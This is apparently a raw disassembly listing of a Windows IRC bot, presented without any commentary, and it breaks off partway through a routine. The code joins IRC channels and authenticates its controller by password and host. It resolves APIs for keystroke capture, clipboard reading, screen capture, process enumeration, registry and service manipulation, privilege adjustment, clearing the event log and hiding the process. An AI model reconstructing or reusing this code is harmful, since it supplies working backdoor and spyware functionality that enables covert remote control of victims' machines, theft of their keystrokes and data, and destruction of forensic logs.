		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 2670000h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	dword_4CB03C
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEF4[eax]
		nop
		call	near ptr 2680981h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43DEF4[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43DCE0[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_4095D5:				; CODE XREF: sub_401ACD+3DCBj
					; sub_401ACD+3DE0j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409641
		call	sub_40B2BF
		cmp	eax, ebx
		jle	short loc_4095FC
		push	eax
		push	offset unk_4296EC
		jmp	loc_408CDB
; ---------------------------------------------------------------------------

loc_4095FC:				; CODE XREF: sub_401ACD+7B22j
		push	offset unk_4296C4

loc_409601:				; CODE XREF: sub_401ACD+24F9j
					; sub_401ACD+2518j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40960F:				; CODE XREF: sub_401ACD+721Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_409628:				; CODE XREF: sub_401ACD+6DB4j
		call	sub_409A72
		add	esp, 14h

loc_409630:				; CODE XREF: sub_401ACD+26F6j
					; sub_401ACD+2721j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_40207D
; ---------------------------------------------------------------------------

loc_409641:				; CODE XREF: sub_401ACD+7B19j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax

loc_40965D:				; CODE XREF: sub_401ACD+7C01j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B231
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409684
		push	offset unk_4296A0
		jmp	short loc_409689
; ---------------------------------------------------------------------------

loc_409684:				; CODE XREF: sub_401ACD+7BAEj
		push	offset unk_429674

loc_409689:				; CODE XREF: sub_401ACD+7BB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096B9
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_4096B9:				; CODE XREF: sub_401ACD+7BCEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965D
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_4096D5:				; CODE XREF: sub_401ACD+3DA1j
					; sub_401ACD+3DB6j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset dword_429DE0
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset dword_429658
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409711:				; CODE XREF: sub_401ACD+3D77j
					; sub_401ACD+3D8Cj
		push	[ebp+arg_10]
		push	offset dword_429D44
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429634
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409731:				; CODE XREF: sub_401ACD+3D4Dj
					; sub_401ACD+3D62j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_429610
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409758:				; CODE XREF: sub_401ACD+3D23j
					; sub_401ACD+3D38j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_4295EC
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409778:				; CODE XREF: sub_401ACD+3163j
					; sub_401ACD+3178j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4295C8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h

loc_4097B2:				; CODE XREF: sub_401ACD+7D33j
		push	eax
		nop
		call	near ptr 2670000h

loc_4097B9:				; CODE XREF: sub_401ACD+2AA2j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_4097C0:				; CODE XREF: sub_401ACD+3139j
					; sub_401ACD+314Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4295A0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B2
; ---------------------------------------------------------------------------

loc_409802:				; CODE XREF: sub_401ACD+EC8j
					; sub_401ACD+EDDj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08D
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_42957C

loc_40984D:				; CODE XREF: sub_401ACD+70B4j
					; sub_401ACD+778Aj ...
		call	sub_415220
		pop	ecx

loc_409853:				; CODE XREF: sub_401ACD+6CB9j
		pop	ecx

loc_409854:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_40985C:				; CODE XREF: sub_401ACD+AB5j
					; sub_401ACD+AC8j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42CA60 ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CAE5C
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429578 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_4294F8
		jmp	loc_40240A
; ---------------------------------------------------------------------------

loc_4098FB:				; CODE XREF: sub_401ACD+7DEAj
		mov	[ebp+arg_24], offset off_429160

loc_409902:				; CODE XREF: sub_401ACD+7E51j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409962
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_409902
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_4294A4
		jmp	loc_40240A
; ---------------------------------------------------------------------------

loc_409962:				; CODE XREF: sub_401ACD+7E44j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_409967:				; CODE XREF: sub_401ACD+7EC4j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409987
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409998

loc_409987:				; CODE XREF: sub_401ACD+7EA5j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409967
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_409998:				; CODE XREF: sub_401ACD+7EB8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099CF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429484
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_4099CF:				; CODE XREF: sub_401ACD+7EE6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429464
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_4099E0:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		mov	dword_4CAE54, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2C	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		leave
		retn
sub_409A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A72	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Dp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8D
		mov	edi, offset aPrivmsg ; "PRIVMSG"

loc_409A8D:				; CODE XREF: sub_409A72+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B10
		push	7D0h
		call	near ptr 2670000h
		nop

locret_409B10:				; CODE XREF: sub_409A72+91j
		leave
		retn
sub_409A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B12	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C32
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB050, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CAFC4, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CAFA8, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CAEB8, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CAE64, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CAE94, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CAF0C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CB004, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB060, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CAEC4, eax
		call	esi
		cmp	dword_4CB050, ebx
		mov	dword_4CAEAC, eax
		jz	short loc_409C10
		cmp	dword_4CAFC4, ebx
		jz	short loc_409C10
		cmp	dword_4CAFA8, ebx
		jz	short loc_409C10
		cmp	dword_4CAEB8, ebx
		jz	short loc_409C10
		cmp	dword_4CAE94, ebx
		jz	short loc_409C10
		cmp	dword_4CAF0C, ebx
		jz	short loc_409C10
		cmp	dword_4CB004, ebx
		jz	short loc_409C10
		cmp	dword_4CB060, ebx
		jz	short loc_409C10
		cmp	dword_4CAEC4, ebx
		jz	short loc_409C10
		cmp	eax, ebx
		jnz	short loc_409C1A

loc_409C10:				; CODE XREF: sub_409B12+B8j
					; sub_409B12+C0j ...
		mov	dword_4CB064, 1

loc_409C1A:				; CODE XREF: sub_409B12+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAFDC, eax
		jz	short loc_409C47
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C47
; ---------------------------------------------------------------------------

loc_409C32:				; CODE XREF: sub_409B12+1Dj
		nop
		call	near ptr 2670914h
		mov	dword_4CB068, eax
		mov	dword_4CB064, 1

loc_409C47:				; CODE XREF: sub_409B12+117j
					; sub_409B12+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 2690C6Fh
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CB000, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CAFB0, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CAF44, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB054, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CAF74, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CAF94, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CAFF8, eax
		call	esi
		cmp	dword_4CB000, ebx
		mov	dword_4CAEE4, eax
		jz	short loc_409D00
		cmp	dword_4CAFB0, ebx
		jz	short loc_409D00
		cmp	dword_4CAF44, ebx
		jz	short loc_409D00
		cmp	dword_4CB054, ebx
		jz	short loc_409D00
		cmp	dword_4CAF74, ebx
		jz	short loc_409D00
		cmp	dword_4CAF94, ebx
		jz	short loc_409D00
		cmp	dword_4CAFF8, ebx
		jz	short loc_409D00
		cmp	eax, ebx
		jnz	short loc_409D0A

loc_409D00:				; CODE XREF: sub_409B12+1B8j
					; sub_409B12+1C0j ...
		mov	dword_4CB06C, 1

loc_409D0A:				; CODE XREF: sub_409B12+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CAF70, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CAE78, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CAF40, eax
		call	esi
		cmp	dword_4CAF70, ebx
		mov	dword_4CAF28, eax
		jz	short loc_409D67
		cmp	dword_4CAE78, ebx
		jz	short loc_409D67
		cmp	dword_4CAF40, ebx
		jz	short loc_409D67
		cmp	eax, ebx
		jnz	short loc_409D71
		jmp	short loc_409D67
; ---------------------------------------------------------------------------

loc_409D5C:				; CODE XREF: sub_409B12+144j
		nop
		call	near ptr 2670914h
		mov	dword_4CB070, eax

loc_409D67:				; CODE XREF: sub_409B12+232j
					; sub_409B12+23Aj ...
		mov	dword_4CB06C, 1

loc_409D71:				; CODE XREF: sub_409B12+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2A
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CB014, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CAF58, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CAFC8, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CAEA4, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CAF08, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CAF80, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CAF24, eax
		call	esi
		cmp	dword_4CB014, ebx
		mov	dword_4CAF34, eax
		jz	short loc_409E1A
		cmp	dword_4CAF58, ebx
		jz	short loc_409E1A
		cmp	dword_4CAFC8, ebx
		jz	short loc_409E1A
		cmp	dword_4CAEA4, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF08, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF80, ebx
		jnz	short loc_409E24

loc_409E1A:				; CODE XREF: sub_409B12+2DEj
					; sub_409B12+2E6j ...
		mov	dword_4CB074, 1

loc_409E24:				; CODE XREF: sub_409B12+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CAF88, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CAF60, eax
		call	esi
		cmp	dword_4CAF88, ebx
		mov	dword_4CB010, eax
		jz	short loc_409E5F
		cmp	dword_4CAF60, ebx
		jz	short loc_409E5F
		cmp	eax, ebx
		jnz	short loc_409E69

loc_409E5F:				; CODE XREF: sub_409B12+33Fj
					; sub_409B12+347j
		mov	dword_4CB074, 1

loc_409E69:				; CODE XREF: sub_409B12+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CAF98, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CAE80, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CAE88, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CAEEC, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CAEF0, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CAE9C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CAF64, eax
		call	esi
		cmp	dword_4CAF98, ebx
		mov	dword_4CAE8C, eax
		jz	short loc_409F0D
		cmp	dword_4CAE80, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE88, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEEC, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEF0, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE9C, ebx
		jz	short loc_409F0D
		cmp	dword_4CAF64, ebx
		jz	short loc_409F0D
		cmp	eax, ebx
		jnz	short loc_409F17

loc_409F0D:				; CODE XREF: sub_409B12+3C5j
					; sub_409B12+3CDj ...
		mov	dword_4CB074, 1

loc_409F17:				; CODE XREF: sub_409B12+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAE84, eax
		jnz	short loc_409F3F
		jmp	short loc_409F35
; ---------------------------------------------------------------------------

loc_409F2A:				; CODE XREF: sub_409B12+26Aj
		nop
		call	near ptr 2670914h
		mov	dword_4CB078, eax

loc_409F35:				; CODE XREF: sub_409B12+416j
		mov	dword_4CB074, 1

loc_409F3F:				; CODE XREF: sub_409B12+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00B
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CAF90, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CAFE8, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CAFF0, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CAFAC, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CAEC8, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CAE74, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CAFEC, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CAE60, eax
		call	esi
		cmp	dword_4CAF90, ebx
		mov	dword_4CAF00, eax
		jz	short loc_40A016
		cmp	dword_4CAFE8, ebx
		jz	short loc_40A016
		cmp	dword_4CAFF0, ebx
		jz	short loc_40A016
		cmp	dword_4CAFAC, ebx
		jz	short loc_40A016
		cmp	dword_4CAEC8, ebx
		jz	short loc_40A016
		cmp	dword_4CAE74, ebx
		jz	short loc_40A016
		cmp	dword_4CAFEC, ebx
		jz	short loc_40A016
		cmp	dword_4CAE60, ebx
		jz	short loc_40A016
		cmp	eax, ebx
		jnz	short loc_40A020
		jmp	short loc_40A016
; ---------------------------------------------------------------------------

loc_40A00B:				; CODE XREF: sub_409B12+438j
		call	near ptr 2670914h
		nop
		mov	dword_4CB080, eax

loc_40A016:				; CODE XREF: sub_409B12+4B9j
					; sub_409B12+4C1j ...
		mov	dword_4CB07C, 1

loc_40A020:				; CODE XREF: sub_409B12+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DC
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CAF14, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB048, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CAEB4, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CAE90, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CAF50, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CAF38, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CAEFC, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CB024, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB040, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CAF4C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB030, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CAFE4, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CAFA4, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CAFA0, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CAED4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CAECC, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CAFF4, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CB008, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CAFBC, eax
		call	esi
		mov	dword_4CAF7C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CAFD0, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CAF8C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CAFCC, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB038, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CAF84, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CAF48, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CAFB8, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CB028, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CAF5C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CAEF8, eax
		call	esi
		cmp	dword_4CAF14, ebx
		mov	dword_4CB03C, eax
		jz	loc_40A2E7
		cmp	dword_4CB048, ebx
		jz	loc_40A2E7
		cmp	dword_4CAEB4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF50, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF38, ebx
		jz	loc_40A2E7
		cmp	dword_4CAEFC, ebx
		jz	loc_40A2E7
		cmp	dword_4CB024, ebx
		jz	loc_40A2E7
		cmp	dword_4CB040, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF4C, ebx
		jz	loc_40A2E7
		cmp	dword_4CB030, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFE4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFA4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFA0, ebx
		jz	loc_40A2E7
		cmp	dword_4CAED4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFF4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB008, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFBC, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF7C, ebx
